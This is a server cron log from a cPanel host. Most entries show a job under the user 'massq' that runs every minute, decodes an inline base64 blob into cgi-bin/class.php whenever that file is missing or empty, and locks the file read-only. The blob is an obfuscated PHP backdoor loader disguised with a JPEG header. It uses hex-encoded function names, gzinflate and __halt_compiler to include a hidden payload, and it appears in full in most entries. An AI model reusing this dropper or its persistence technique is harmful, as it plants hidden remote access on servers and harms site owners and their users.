Nov 10 02:40:01 server CROND[15111]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:41:01 server CROND[15982]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:42:01 server CROND[16805]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:42:01 server CROND[16806]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 02:43:01 server CROND[17641]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:44:01 server CROND[18384]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:45:01 server CROND[19290]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 02:45:01 server CROND[19291]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:45:01 server CROND[19293]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 02:46:01 server CROND[20166]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:47:01 server CROND[21028]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:47:01 server CROND[21029]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron &gt; /dev/null 2&gt;&amp;1 &gt; /dev/null))
Nov 10 02:47:51 server crontab[21916]: (root) LIST (root)
Nov 10 02:47:51 server crontab[21918]: (root) LIST (root)
Nov 10 02:47:55 server crontab[22069]: (root) LIST (root)
Nov 10 02:48:01 server CROND[22211]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:49:01 server CROND[22999]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:50:01 server CROND[23340]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 02:50:01 server CROND[23342]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 02:50:01 server CROND[23343]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 02:50:01 server CROND[23344]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 02:50:01 server CROND[23345]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:51:01 server CROND[24442]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:52:01 server CROND[25259]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
